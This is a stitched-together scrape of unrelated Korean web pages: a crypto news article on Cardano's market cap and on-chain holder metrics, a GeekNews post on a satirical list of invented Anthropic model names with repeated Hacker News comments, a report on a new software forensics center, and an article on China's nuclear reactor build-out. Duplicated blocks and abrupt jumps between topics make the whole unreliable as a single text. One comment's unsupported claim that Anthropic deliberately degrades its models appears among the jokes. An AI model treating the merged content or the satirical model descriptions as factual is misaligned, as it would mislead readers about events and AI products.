카르다노 시가총액이 60억달러를 회복했지만 파생시장에선 약세 베팅이 늘었다. 다만 장기 보유 ADA 이동이 늘며 온체인에선 시장 변화 신호도 감지됐다.
[디지털투데이 이윤서 기자] 카르다노 시가총액이 다시 60억달러선을 회복한 가운데, 이와 상반되는 지표가 눈길을 끌고 있다.
11일(이하 현지시간) 블록체인 매체 유투데이에 따르면 이번 반등은 미국 물가 지표 발표 이후 암호화폐 시장 전반이 소폭 되살아난 흐름과 맞물렸다. 미국 노동통계국(BLS)은 5월 소비자물가지수(CPI) 상승률이 전년 동기 대비 4.2%를 기록했다고 밝혔다. 이는 기존 시장 예상치와 유사한 수준이다.
시장은 이 수치를 두고 연방준비제도(Fed)가 오는 17일 회의에서 금리를 동결할 가능성에 무게를 두면서도, 연말까지는 추가 인상 가능성을 남겨두고 있다고 보고 있다.
다만 카르다노 강세론자들에게는 부담이 여전하다. 시장에서는 파생상품 포지션과 펀딩비를 근거로 약세 심리가 커지고 있고, 공매도 베팅도 늘고 있다. 주간 차트에서는 데드크로스가 임박했으며, ADA는 2020년 12월 이후 저점 부근에서 거래되고 있다. 가격 자체는 반등세지만, 중장기 흐름에서는 여전히 하방 압력이 우세하다는 해석이 가능한 대목이다.
온체인 지표에서는 다른 신호도 나왔다. 분석업체 샌티먼트(Santiment)는 최근 며칠 동안 카르다노의 온체인 연령 지표가 이례적인 움직임을 보였다고 짚었다. 소비 기간 지표가 꾸준히 상승하고 있으며, 오랫동안 움직이지 않던 지갑들이 대규모로 이동하기 시작했다는 것이다.
평균 보유 기간(MDIA)도 최근 며칠 사이 큰 폭으로 뛰었다. 이런 변화는 오랫동안 움직이지 않던 ADA가 다시 유통되기 시작했음을 보여준다.
다만 샌티먼트는 이런 변화만으로 즉각적인 반전이 확정되는 것은 아니라고 선을 그었다. 샌티먼트는 "추세 반전이 임박했음을 보여주는 건 아니다"라면서도, 시장 내부에서는 변화가 일어났다고 볼 수 있다고 평가했다. 역사적으로 평균 보유 기간 증가와 소비 기간 지표의 정체 및 하락은 주요 시장 변곡점 부근에서 자주 나타났던 바 있다.
거래량 둔화도 함께 관찰된다. 샌티먼트는 주요 암호화폐 자산들의 거래량이 2년래 최저 수준을 보이고 있다며, 이는 암호화폐 안도 랠리를 만들기 위해 필요한 투매 국면을 시사한다고 밝혔다.
결국 카르다노는 시가총액 60억달러를 되찾았지만, 가격 반등만으로 분위기가 바뀌었다고 단정하기는 어려운 상황이다. 파생시장과 기술적 지표는 여전히 부담 요인으로 남아 있고, 온체인 데이터는 장기 보유 물량 재배치를 보여주고 있다. 향후에는 이 온체인 변화가 실제 매수세 회복으로 이어질지, 아니면 약세 흐름 속 일시적 움직임에 그칠지가 관전 포인트다.
✍️ TL;DR: Large dormant Cardano wallets moving, signs of bounces arising Metrics Used: Mean Dollar Invested Age, Age Consumed Link to chart: https://t.co/CIT6gOeNQe
Cardano's on-chain age metrics have started showing unusual behavior the past several days. $ADA’s Mean… pic.twitter.com/ktUy3ncu5E
△디지털투데이 텔레그램 뉴스채널 구독하기(클릭)
키워드 #카르다노 #ADA #암호화폐 #찰스 호스킨슨
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러?
IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시
클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담
그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요'
日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상
크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다”
Anthropic의 모델명, 외삽(extrapolation)해 보기 (samwilkinson.io)
Claude Fable 출시를 계기로, Anthropic이 시(poem)에서 기업용 내러티브 객체로 진화 중이라는 설정 위에 향후 모델 작명을 풍자적으로 확장해 봄 기존 모델들 사이와 앞에 더 짧거나 긴, 또는 다양한 확장이 가능할 것으로 예상 Haiku 보다 작은 Aphorism은 한 문장이지만 항상 맞는 느낌을 주고, Sonnet 보다 작은 Marginalia는 코드에 요청하지 않은 주석성 논평 을 제공 "Fable (xhigh)"은 '파산 스피드런' , Saga 는 '장황해진 Fable' 이라고 설명 가상의 상위 모델일수록 답변의 장황함·비용·부수 효과가 커지는 흐름으로 모델 명명 관행과 대형 모델의 비용·과잉 을 유머로 풍자 도입 — 작명 확장의 전제 Claude Fable 출시로 Anthropic이 시(poem)에서 기업용 서사 객체(enterprise-scale narrative objects)로 전환 중인게 확실함 경쟁사에 발맞추기 위해 전체 문학 스택(literary stack) 에 최적화된 폭넓은 모델 포트폴리오 구축 모델명과 설명 모델명 설명 Aphorism 한 문장이지만 항상 맞는 느낌을 줌 Haiku 작은 시, 작은 청구서 Marginalia 코드에 요청하지 않은 논평을 제공함 Abstract 수행하지 않은 추론을 요약함 Sonnet 중간 길이의 시, 중간 크기의 청구서 Diatribe 화난 Sonnet임 Opus 긴 시, 청구서 전체를 차지함 Treatise Opus와 같지만 인용 출처는 독자에게 숙제로 남김 Mythos 무서운 Opus임 Fable 질문이 중요해지기 전까지 Mythos로 작동함 Fable (xhigh) 파산 스피드런임 Saga 추가로 장황해진 Fable임 Saga (Unabridged) 관련 없는 질문에 대한 답변도 포함함 Lore 해석에 위키(Wiki)가 필요함 Cinematic Universe 여러 Saga를 Lore 디스패치 레이어 로 묶음 Cinematic Universe (Director's Cut) 같은 답변에 토큰이 42% 더 붙음 Terms of Service 답변이나 그 결과에 대한 책임이 없음 Overwhelmingly Large Narrative Unit 사용 전에 “지난 이야기” 구간을 봐야 함 Omnibus 사기(morale)가 개선될 때까지 파인튜닝이 계속됨
모델명 설명 Aphorism 한 문장이지만 항상 맞는 느낌을 줌 Haiku 작은 시, 작은 청구서 Marginalia 코드에 요청하지 않은 논평을 제공함 Abstract 수행하지 않은 추론을 요약함 Sonnet 중간 길이의 시, 중간 크기의 청구서 Diatribe 화난 Sonnet임 Opus 긴 시, 청구서 전체를 차지함 Treatise Opus와 같지만 인용 출처는 독자에게 숙제로 남김 Mythos 무서운 Opus임 Fable 질문이 중요해지기 전까지 Mythos로 작동함 Fable (xhigh) 파산 스피드런임 Saga 추가로 장황해진 Fable임 Saga (Unabridged) 관련 없는 질문에 대한 답변도 포함함 Lore 해석에 위키(Wiki)가 필요함 Cinematic Universe 여러 Saga를 Lore 디스패치 레이어 로 묶음 Cinematic Universe (Director's Cut) 같은 답변에 토큰이 42% 더 붙음 Terms of Service 답변이나 그 결과에 대한 책임이 없음 Overwhelmingly Large Narrative Unit 사용 전에 “지난 이야기” 구간을 봐야 함 Omnibus 사기(morale)가 개선될 때까지 파인튜닝이 계속됨
함께 보면 좋은 글 β Claude Fable이 도움을 멈춰도 사용자는 알 수 없다 Claude Fable 5/Mythos 5 공개, Anthropic의 5세대 프런티어 모델 Anthropic, 채팅 AI 비서 Claude 서비스를 한국 포함한 95개국으로 확장 사이버보안 연구자들이 Anthropic의 Fable 가드레일에 불만을 표하고 있음 Mythos와 일하는 느낌은 이렇습니다
Claude Fable이 도움을 멈춰도 사용자는 알 수 없다
Claude Fable 5/Mythos 5 공개, Anthropic의 5세대 프런티어 모델
Anthropic, 채팅 AI 비서 Claude 서비스를 한국 포함한 95개국으로 확장
사이버보안 연구자들이 Anthropic의 Fable 가드레일에 불만을 표하고 있음
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요. Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
GeekNews는 개발·기술·스타트업 소식을 빠르게 전달합니다. Weekly 뉴스레터로 구독하거나, 더 편하게 GeekBots로 받아보세요.
Weekly 구독 GeekBots로 받기 GeekNews 소개 숨기기
인증 이메일 클릭후 다시 체크박스를 눌러주세요
▲ zapiana 3시간전 [-] 작명으로 장난치기는 만국공통 답변달기 ▲ GN⁺ 7시간전 [-] Hacker News 의견들 다른 후보로는 Serial , Prequel , Yarn , Head Canon , Overstory , Oeuvre 도 가능해 보임 Serial은 엄청 흥미진진한 답을 내놓다가 정답을 숨긴 채 절벽행어로 끝내고, Prequel은 답 대신 질문에 이르기까지의 전체 배경사를 제공함 Yarn은 정답까지 일부러 길고 구불구불한 길을 택해 출력 토큰을 최대화하고, Head Canon은 입력에 대해 자기만의 이상하지만 재미있는 이론으로 답함 Overstory는 내 답을 다른 여덟 사용자의 답과 엮어 더 크고 깊게 얽힌 메타 답변으로 만들고, Oeuvre는 모든 질문에 대해 여러 매체를 넘나드는 다양하지만 응집력 있는 작품군을 생성하며 각각이 가슴 아픈 걸작이 됨 Overwhelmingly Large Narrative Unit 라니, Iain M. Banks가 그립다. The Culture에 대한 이런 작은 오마주가 좋음 https://www.sciphijournal.org/index.php/2017/11/12/why-the-c... 미래가 The Culture 쪽으로 휘어 가기를 바랄 수밖에 없음 천문학자들의 망원경 작명 관행을 가리키는 참조이기도 함: https://xkcd.com/1294/ 훌륭함. saga 와 canon 은 확실히 미래 모델명 후보이고, 장난으로는 “Cinematic Universe”도 보고 싶음 Zack Snyder's Saga도 괜찮은 이름임 Dario Legendarium 은 이 시대의 기원을 따지는 역사가들이 파고들기에 꽤 재미있는 작업물이 될 듯함. 관련 조직들의 상대적 성격도 작명에서 어느 정도 드러남: {o1,4o,3.5,5.5} vs. {Haiku,Sonnet,Opus} vs. {3.1, 3.5-pro, 3.5-flash, 3.5-flash-lite} vs. {3.7, 3.7-plus, 3.7-max} Samsung이 여기에 끼어 있지 않은 건 아쉬움. Samsung Galaxy S10+ 5G Lite라는 모델을 써보고 싶었음 IBM이라면 CICS/370 Neural Transaction Facility : 대화형 배치 지향 추론 및 프롬프트 관리 스풀 생성을 위한 z/OS 상주 엔터프라이즈 자연어 트랜잭션 처리 시설 서브시스템 같은 이름을 붙였을 듯함 Sony도 마찬가지로 AI-LLM1000XM5 Mark II 같은 이름이 나왔을 듯함 Galaxy AI 3.8-Flash-Plus Max (xhigh) Samsung Galaxy Brain S26 중국 모델에서 “Good Fortune 27b”나 “Much Success MoE” 같은 이름을 못 보는 게 이상함 Anthropic이 의도적으로 응답을 열화시킨다는 건, 그들도 엉뚱한 것에 집중 하고 있음을 보여줌. 가능한 최고의 모델을 만들기보다 모델 성능을 너프하고 있음 사용자는 적이고, 고객은 도둑이라는 식임 신화와 우화를 사실로 믿는다면 어느 정도 실망할 각오는 해야 함 Anthropic은 작명 을 OpenAI보다 훨씬 잘 잡았다고 봄 예전에는 10억 명이 쓰는 소비자 제품의 드롭다운 메뉴가 o3, 4o, 4o-mini, o4-mini, gpt-4.1, gpt-4.1-mini, gpt-4.5 (Research Preview) 중 뭘 쓸지 묻던 시절이 그립다 작명에서 OpenAI보다 더 못하기는 어려움 원래 세 모델의 이니셜이 각자의 행동을 잘 나타내는 점이 좋음: Opus 는 OP, 즉 OverPowered 같고, Sonnet 은 SO, 즉 연인 같은 존재였음. 이건 Sonnet 3.7 시절에 더 의미가 컸음. Haiku는 HA, 즉 썰렁한 농담을 들었을 때의 반응 같음 최신 모델은 자연스럽게 세 글자가 필요했고, 그래서 FAB가 됨. 이제 ABS와 LO를 기대하는 중임 보라! Overclaude를 보여주겠노라! Tractatus : 자기 한계를 매우 잘 알고 너무 많은 주제에 대해 말하기를 거부함. 문장 번호 매기기를 정말 좋아함. 컨텍스트 창 버그 때문에 쓸 수 없고, 상당한 지연 끝에 패치됨 Prayer : Enter를 누르고 잘되길 기도함. Parable : 내가 물어봐야 하는지도 몰랐던 질문에 답함. Bible : 여러 시대의 수십 개 Parable 인스턴스가 보고해 오며, 토큰은 만료 시 구원받음 답변달기
▲ zapiana 3시간전 [-] 작명으로 장난치기는 만국공통 답변달기
▲ GN⁺ 7시간전 [-] Hacker News 의견들 다른 후보로는 Serial , Prequel , Yarn , Head Canon , Overstory , Oeuvre 도 가능해 보임 Serial은 엄청 흥미진진한 답을 내놓다가 정답을 숨긴 채 절벽행어로 끝내고, Prequel은 답 대신 질문에 이르기까지의 전체 배경사를 제공함 Yarn은 정답까지 일부러 길고 구불구불한 길을 택해 출력 토큰을 최대화하고, Head Canon은 입력에 대해 자기만의 이상하지만 재미있는 이론으로 답함 Overstory는 내 답을 다른 여덟 사용자의 답과 엮어 더 크고 깊게 얽힌 메타 답변으로 만들고, Oeuvre는 모든 질문에 대해 여러 매체를 넘나드는 다양하지만 응집력 있는 작품군을 생성하며 각각이 가슴 아픈 걸작이 됨 Overwhelmingly Large Narrative Unit 라니, Iain M. Banks가 그립다. The Culture에 대한 이런 작은 오마주가 좋음 https://www.sciphijournal.org/index.php/2017/11/12/why-the-c... 미래가 The Culture 쪽으로 휘어 가기를 바랄 수밖에 없음 천문학자들의 망원경 작명 관행을 가리키는 참조이기도 함: https://xkcd.com/1294/ 훌륭함. saga 와 canon 은 확실히 미래 모델명 후보이고, 장난으로는 “Cinematic Universe”도 보고 싶음 Zack Snyder's Saga도 괜찮은 이름임 Dario Legendarium 은 이 시대의 기원을 따지는 역사가들이 파고들기에 꽤 재미있는 작업물이 될 듯함. 관련 조직들의 상대적 성격도 작명에서 어느 정도 드러남: {o1,4o,3.5,5.5} vs. {Haiku,Sonnet,Opus} vs. {3.1, 3.5-pro, 3.5-flash, 3.5-flash-lite} vs. {3.7, 3.7-plus, 3.7-max} Samsung이 여기에 끼어 있지 않은 건 아쉬움. Samsung Galaxy S10+ 5G Lite라는 모델을 써보고 싶었음 IBM이라면 CICS/370 Neural Transaction Facility : 대화형 배치 지향 추론 및 프롬프트 관리 스풀 생성을 위한 z/OS 상주 엔터프라이즈 자연어 트랜잭션 처리 시설 서브시스템 같은 이름을 붙였을 듯함 Sony도 마찬가지로 AI-LLM1000XM5 Mark II 같은 이름이 나왔을 듯함 Galaxy AI 3.8-Flash-Plus Max (xhigh) Samsung Galaxy Brain S26 중국 모델에서 “Good Fortune 27b”나 “Much Success MoE” 같은 이름을 못 보는 게 이상함 Anthropic이 의도적으로 응답을 열화시킨다는 건, 그들도 엉뚱한 것에 집중 하고 있음을 보여줌. 가능한 최고의 모델을 만들기보다 모델 성능을 너프하고 있음 사용자는 적이고, 고객은 도둑이라는 식임 신화와 우화를 사실로 믿는다면 어느 정도 실망할 각오는 해야 함 Anthropic은 작명 을 OpenAI보다 훨씬 잘 잡았다고 봄 예전에는 10억 명이 쓰는 소비자 제품의 드롭다운 메뉴가 o3, 4o, 4o-mini, o4-mini, gpt-4.1, gpt-4.1-mini, gpt-4.5 (Research Preview) 중 뭘 쓸지 묻던 시절이 그립다 작명에서 OpenAI보다 더 못하기는 어려움 원래 세 모델의 이니셜이 각자의 행동을 잘 나타내는 점이 좋음: Opus 는 OP, 즉 OverPowered 같고, Sonnet 은 SO, 즉 연인 같은 존재였음. 이건 Sonnet 3.7 시절에 더 의미가 컸음. Haiku는 HA, 즉 썰렁한 농담을 들었을 때의 반응 같음 최신 모델은 자연스럽게 세 글자가 필요했고, 그래서 FAB가 됨. 이제 ABS와 LO를 기대하는 중임 보라! Overclaude를 보여주겠노라! Tractatus : 자기 한계를 매우 잘 알고 너무 많은 주제에 대해 말하기를 거부함. 문장 번호 매기기를 정말 좋아함. 컨텍스트 창 버그 때문에 쓸 수 없고, 상당한 지연 끝에 패치됨 Prayer : Enter를 누르고 잘되길 기도함. Parable : 내가 물어봐야 하는지도 몰랐던 질문에 답함. Bible : 여러 시대의 수십 개 Parable 인스턴스가 보고해 오며, 토큰은 만료 시 구원받음 답변달기
Hacker News 의견들 다른 후보로는 Serial , Prequel , Yarn , Head Canon , Overstory , Oeuvre 도 가능해 보임 Serial은 엄청 흥미진진한 답을 내놓다가 정답을 숨긴 채 절벽행어로 끝내고, Prequel은 답 대신 질문에 이르기까지의 전체 배경사를 제공함 Yarn은 정답까지 일부러 길고 구불구불한 길을 택해 출력 토큰을 최대화하고, Head Canon은 입력에 대해 자기만의 이상하지만 재미있는 이론으로 답함 Overstory는 내 답을 다른 여덟 사용자의 답과 엮어 더 크고 깊게 얽힌 메타 답변으로 만들고, Oeuvre는 모든 질문에 대해 여러 매체를 넘나드는 다양하지만 응집력 있는 작품군을 생성하며 각각이 가슴 아픈 걸작이 됨 Overwhelmingly Large Narrative Unit 라니, Iain M. Banks가 그립다. The Culture에 대한 이런 작은 오마주가 좋음 https://www.sciphijournal.org/index.php/2017/11/12/why-the-c... 미래가 The Culture 쪽으로 휘어 가기를 바랄 수밖에 없음 천문학자들의 망원경 작명 관행을 가리키는 참조이기도 함: https://xkcd.com/1294/ 훌륭함. saga 와 canon 은 확실히 미래 모델명 후보이고, 장난으로는 “Cinematic Universe”도 보고 싶음 Zack Snyder's Saga도 괜찮은 이름임 Dario Legendarium 은 이 시대의 기원을 따지는 역사가들이 파고들기에 꽤 재미있는 작업물이 될 듯함. 관련 조직들의 상대적 성격도 작명에서 어느 정도 드러남: {o1,4o,3.5,5.5} vs. {Haiku,Sonnet,Opus} vs. {3.1, 3.5-pro, 3.5-flash, 3.5-flash-lite} vs. {3.7, 3.7-plus, 3.7-max} Samsung이 여기에 끼어 있지 않은 건 아쉬움. Samsung Galaxy S10+ 5G Lite라는 모델을 써보고 싶었음 IBM이라면 CICS/370 Neural Transaction Facility : 대화형 배치 지향 추론 및 프롬프트 관리 스풀 생성을 위한 z/OS 상주 엔터프라이즈 자연어 트랜잭션 처리 시설 서브시스템 같은 이름을 붙였을 듯함 Sony도 마찬가지로 AI-LLM1000XM5 Mark II 같은 이름이 나왔을 듯함 Galaxy AI 3.8-Flash-Plus Max (xhigh) Samsung Galaxy Brain S26 중국 모델에서 “Good Fortune 27b”나 “Much Success MoE” 같은 이름을 못 보는 게 이상함 Anthropic이 의도적으로 응답을 열화시킨다는 건, 그들도 엉뚱한 것에 집중 하고 있음을 보여줌. 가능한 최고의 모델을 만들기보다 모델 성능을 너프하고 있음 사용자는 적이고, 고객은 도둑이라는 식임 신화와 우화를 사실로 믿는다면 어느 정도 실망할 각오는 해야 함 Anthropic은 작명 을 OpenAI보다 훨씬 잘 잡았다고 봄 예전에는 10억 명이 쓰는 소비자 제품의 드롭다운 메뉴가 o3, 4o, 4o-mini, o4-mini, gpt-4.1, gpt-4.1-mini, gpt-4.5 (Research Preview) 중 뭘 쓸지 묻던 시절이 그립다 작명에서 OpenAI보다 더 못하기는 어려움 원래 세 모델의 이니셜이 각자의 행동을 잘 나타내는 점이 좋음: Opus 는 OP, 즉 OverPowered 같고, Sonnet 은 SO, 즉 연인 같은 존재였음. 이건 Sonnet 3.7 시절에 더 의미가 컸음. Haiku는 HA, 즉 썰렁한 농담을 들었을 때의 반응 같음 최신 모델은 자연스럽게 세 글자가 필요했고, 그래서 FAB가 됨. 이제 ABS와 LO를 기대하는 중임 보라! Overclaude를 보여주겠노라! Tractatus : 자기 한계를 매우 잘 알고 너무 많은 주제에 대해 말하기를 거부함. 문장 번호 매기기를 정말 좋아함. 컨텍스트 창 버그 때문에 쓸 수 없고, 상당한 지연 끝에 패치됨 Prayer : Enter를 누르고 잘되길 기도함. Parable : 내가 물어봐야 하는지도 몰랐던 질문에 답함. Bible : 여러 시대의 수십 개 Parable 인스턴스가 보고해 오며, 토큰은 만료 시 구원받음
다른 후보로는 Serial , Prequel , Yarn , Head Canon , Overstory , Oeuvre 도 가능해 보임 Serial은 엄청 흥미진진한 답을 내놓다가 정답을 숨긴 채 절벽행어로 끝내고, Prequel은 답 대신 질문에 이르기까지의 전체 배경사를 제공함 Yarn은 정답까지 일부러 길고 구불구불한 길을 택해 출력 토큰을 최대화하고, Head Canon은 입력에 대해 자기만의 이상하지만 재미있는 이론으로 답함 Overstory는 내 답을 다른 여덟 사용자의 답과 엮어 더 크고 깊게 얽힌 메타 답변으로 만들고, Oeuvre는 모든 질문에 대해 여러 매체를 넘나드는 다양하지만 응집력 있는 작품군을 생성하며 각각이 가슴 아픈 걸작이 됨
Overwhelmingly Large Narrative Unit 라니, Iain M. Banks가 그립다. The Culture에 대한 이런 작은 오마주가 좋음
훌륭함. saga 와 canon 은 확실히 미래 모델명 후보이고, 장난으로는 “Cinematic Universe”도 보고 싶음
Dario Legendarium 은 이 시대의 기원을 따지는 역사가들이 파고들기에 꽤 재미있는 작업물이 될 듯함. 관련 조직들의 상대적 성격도 작명에서 어느 정도 드러남: {o1,4o,3.5,5.5} vs. {Haiku,Sonnet,Opus} vs. {3.1, 3.5-pro, 3.5-flash, 3.5-flash-lite} vs. {3.7, 3.7-plus, 3.7-max} Samsung이 여기에 끼어 있지 않은 건 아쉬움. Samsung Galaxy S10+ 5G Lite라는 모델을 써보고 싶었음
Anthropic이 의도적으로 응답을 열화시킨다는 건, 그들도 엉뚱한 것에 집중 하고 있음을 보여줌. 가능한 최고의 모델을 만들기보다 모델 성능을 너프하고 있음
Anthropic은 작명 을 OpenAI보다 훨씬 잘 잡았다고 봄
원래 세 모델의 이니셜이 각자의 행동을 잘 나타내는 점이 좋음: Opus 는 OP, 즉 OverPowered 같고, Sonnet 은 SO, 즉 연인 같은 존재였음. 이건 Sonnet 3.7 시절에 더 의미가 컸음. Haiku는 HA, 즉 썰렁한 농담을 들었을 때의 반응 같음 최신 모델은 자연스럽게 세 글자가 필요했고, 그래서 FAB가 됨. 이제 ABS와 LO를 기대하는 중임
Tractatus : 자기 한계를 매우 잘 알고 너무 많은 주제에 대해 말하기를 거부함. 문장 번호 매기기를 정말 좋아함. 컨텍스트 창 버그 때문에 쓸 수 없고, 상당한 지연 끝에 패치됨
Prayer : Enter를 누르고 잘되길 기도함. Parable : 내가 물어봐야 하는지도 몰랐던 질문에 답함. Bible : 여러 시대의 수십 개 Parable 인스턴스가 보고해 오며, 토큰은 만료 시 구원받음
발행일: 2026-06-12 14:52 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
발행일: 2026-06-12 14:52 (금)
한국어 KR 영어 EN 일본어 JP 중국어 CH
인공지능(AI) 시대 복잡해지는 소프트웨어(SW) 분쟁에 대응하기 위한 전문 포렌식·감정 인프라 센터가 마련됐다.
한국소프트웨어저작권협회는 한국소프트웨어감정평가학회 손잡고 '소프트웨어포렌식센터'를 개소했다고 12일 밝혔다. 해당 센터는 AI 시대 증가하는 SW 분쟁 대응을 위한 전문 포렌식·감정 서비스를 제공한다.
두 기관은 이날 현판식을 열고 본격적인 운영에 돌입했다. 초대 센터장에는 이동규 협회 대외협력실장과 김시열 학회장이 공동 선임됐다.
현재 SW 분쟁은 기술적 전문성과 법적 판단이 동시에 요구되는 분야다. 특히 저작권 침해와 영업비밀 유출, SW 계약 분쟁, SW 유사도 분쟁 등은 사실관계 규명이 중요해 전문 감정과 포렌식 수요가 꾸준히 증가해 왔다.
센터는 SW 계약 분쟁에 따른 기성고·완성도 분석과 저작권·영업비밀·특허 분쟁 관련 SW 유사도 분석을 수행한다. 또 SW 개발비·가치 분석과 기타 SW 정보 분석 업무를 맡는다.
센터는 민·형사소송법에 따른 법원의 감정 촉탁 업무를 중점 수행할 계획이다. 이를 통해 SW 분쟁 분야 전문 감정기관으로서 역할을 강화한다는 방침이다.
운영은 학회 전문가를 중심으로 구성한 포렌식 전문가단이 직접 수행한다. 협회와 학회가 공동 운영하는 구조를 통해 특정 이해관계에 치우치지 않는 공정성과 신뢰성을 확보한다는 계획이다.
어도비, '애크로뱃 스튜디오' 한국 출시…"PDF를 AI 지식 허브로" 2026.06.12 엔비디아, 구글 '디퓨전젬마' 지원…"로컬 AI 추론 속도 높여" 2026.06.12 와디즈, AI 기술로 청소년 유해 표현·제품 거른다 2026.06.12 오케스트로 AGI, 경기도 AI 데이터 허브 구축한다 2026.06.12
이번 센터 개소는 협회가 올해 초 발표한 '협회 3.0' 비전 핵심 사업 가운데 하나다. 협회는 기존 SW 저작권 보호를 넘어 AI 시대 지능형 지식재산(IP) 보호 전문기관으로 역할을 확대하고 있으며 센터는 이를 뒷받침하는 핵심 인프라 역할을 맡게 된다.
유병한 한국소프트웨어저작권협회 회장은 "AI 발전은 산업 혁신을 가속화하는 동시에 SW 둘러싼 권리 분쟁을 더욱 복잡하게 만들고 있다"며 "포렌식센터는 기술과 법률을 융합한 전문성을 바탕으로 AI 시대 지능형 IP 보호와 공정한 소프트웨어 생태계 조성에 기여하는 핵심 전문기관으로 자리매김할 것"이라고 밝혔다.
中 원전 굴기 가속…2030년 美·EU 제치고 세계 원전 패권 쥔다
중국이 대형 원전 건설을 공격적으로 확대하며 2030년 설치 용량 기준 미국과 EU를 추월할 가능성이 커지고 있다. 건설 속도와 표준화에서 앞선 중국은 대형 원전과 소형모듈원자로를 동시에 육성하며 원전 경쟁력을 강화하고 있다.
중국이 대형 원전 건설을 공격적으로 확대하며 2030년 설치 용량 기준 미국과 EU를 추월할 가능성이 커지고 있다. [사진: 셔터스톡]
[디지털투데이 AI리포터] 중국이 대형 원자로를 중심으로 원전 설비를 빠르게 확대하면서 2030년에는 설치 용량 기준으로 미국과 유럽연합(EU)을 추월할 가능성이 커지고 있다.
11일(이하 현지시간) MIT 테크놀로지 리뷰에 따르면, 중국의 원전 설비는 2016년 이후 거의 두 배로 증가해 총 발전용량 약 60기가와트(GW)에 도달했다.
최근 중국이 확충한 설비 대부분은 기가와트급 가압경수로다. 중국은 2025년 원자로 6기 건설에 착수했으며, 2026년 들어서도 5월까지 2기를 추가로 착공했다.
반면 미국은 같은 기간 조지아주 보글 원전 3·4호기 2기만 신규 건설했다. 프랑스 역시 2024년 12월에야 20여 년 만에 신규 원자로를 전력망에 연결했다.
중국의 가장 큰 강점은 속도와 표준화다. 2024년 기준 중국 신규 원자로의 평균 건설 기간은 5~7년으로 집계됐다. 세계 평균인 약 9년보다 짧고, 미국의 최근 원자로 2기가 완공까지 약 15년이 걸린 것과도 대조적이다.
중국은 설계와 인허가, 건설 전반에 걸쳐 표준화된 관리 체계를 구축했으며, 원자로를 6기 이상 묶어 건설하는 방식으로 규모의 경제도 확보했다. 여기에 대규모 정부 투자까지 더해지며 건설 속도를 끌어올렸다.
미국과 프랑스는 여전히 세계 원전 산업의 핵심 국가지만 신규 건설 속도는 더딘 편이다. 대형 원전은 초기 투자비가 수십억달러에 달하고 손익분기점 도달까지 수십 년이 걸린다. 또한 복잡한 설계와 규제 심사 과정에서 설계 변경이 반복되면서 비용과 공사 기간이 함께 늘어나는 문제가 있다.
이 때문에 미국에서는 소형 원자로와 마이크로 원자로가 대안으로 주목받고 있다. 부지 규모를 줄여 초기 투자 부담을 낮출 수 있고, 현장 시공 대신 공장 생산 방식을 활용해 장기적으로 비용 절감이 가능하다는 기대가 반영된 결과다.
미국 에너지부는 2026년 7월 4일까지 시험용 원자로 3기를 임계 상태에 도달시키겠다는 목표를 세웠다.
지난주에는 캘리포니아 소재 안타레스가 마크-0 원자로를 임계 상태에 올렸다. 다만 해당 원자로에는 아직 전력 변환 장치와 열 제거 시스템이 설치되지 않은 상태다. 안타레스는 2027년 말 전력 생산을 시작하고 2028년 현장 배치에 나설 계획이다.
그럼에도 대규모 전력을 낮은 비용으로 공급하는 측면에서는 여전히 대형 원전이 경쟁력을 갖고 있다는 평가가 나온다. 전력 수요가 빠르게 증가하는 중국에는 이러한 장점이 특히 중요하다.
소형 원자로는 초기 투자비가 적지만 생산 전력 단가가 더 높을 수 있다. 중국 역시 대형 원전에만 의존하지 않고 있다. 중국이 개발한 소형모듈원자로(SMR) '링룽-1'(ACP100)은 올해 처음으로 전력망에 전기를 공급할 것으로 예상된다.
중국이 대형 원전과 소형모듈원자로를 동시에 확대하는 가운데, 글로벌 원전 경쟁의 주도권이 점차 중국으로 이동하고 있다는 분석도 나온다.
키워드 #중국 #원전 #원자로 #유럽연합 #EU #SMR #링룽-1
이 시각 추천뉴스 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동 비트코인, 2020년 이후 역대급 과매도 신호…다음 목표가 7만달러? IBK기업은행, 마이데이터 기반 부동산 청약 서비스 출시 클래리티법 통과 가능성 75%→60%…상원 일정·스테이블코인 쟁점 부담 그레이스케일, 비트코인 바닥 조건 제시…'스트래티지 외 새 매수 주체 필요' 日 최대 거래 플랫폼 메르카리, 시바이누·도지코인 지원…이용자 2300만명 대상 크립토퀀트 창업자 “비트코인, 스트래티지·ETF 덕분에 2만달러대 추락 피했다” 10개월 잠잠하던 시바이누 고래, 4000억 SHIB 이동
